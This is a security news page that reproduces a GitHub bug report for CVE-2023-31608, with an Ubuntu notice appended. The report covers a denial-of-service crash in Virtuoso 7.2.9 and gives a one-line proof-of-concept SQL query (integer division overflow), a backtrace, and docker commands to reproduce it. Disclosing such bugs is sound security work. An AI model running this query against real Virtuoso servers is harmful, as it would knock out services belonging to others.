Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-31608: virtuoso 7.2.9 crashed at artm_div_int · Issue #1123 · openlink/virtuoso-opensource

An issue in the artm_div_int component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

CVE
#sql#dos#git#docker

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

virtuoso 7.2.9 crashed at artm_div_int #1123

fuboat opened this issue

Apr 12, 2023

· 0 comments

Comments

The PoC is generated by my DBMS fuzzer.

SELECT CAST('-9223372036854775808’ AS INTEGER) / CAST('-1’ AS SMALLINT);

backtrace:

#0 0xc227a4 (artm_div_int+0xf4) #1 0xc23766 (artm_vec+0x7d6) #2 0x7518c2 (code_vec_run_v+0x10e2) #3 0x7ac3ff (qn_input+0x38f) #4 0x7ac8a6 (qn_send_output+0x236) #5 0x81e26d (set_ctr_vec_input+0x94d) #6 0x7ac43e (qn_input+0x3ce) #7 0x7bdc6e (qr_exec+0x11ee) #8 0x7cb446 (sf_sql_execute+0x11a6) #9 0x7cbf4e (sf_sql_execute_w+0x17e) #10 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #11 0xe1f01c (future_wrapper+0x3fc) #12 0xe2691e (_thread_boot+0x11e) #13 0x7eff81a0c609 (start_thread+0xd9) #14 0x7eff817dc133 (clone+0x43)

ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):

remove the old one

docker container rm virtdb_test -f

start virtuoso through docker

docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9

wait the server starting

sleep 10

check whether the simple query works

echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba

run the poc

docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”

1 participant

Related news

Ubuntu Security Notice USN-6832-1

Ubuntu Security Notice 6832-1 - Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. This issue only affects Ubuntu 22.04 LTS, Ubuntu 23.10 and Ubuntu 24.04 LTS.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907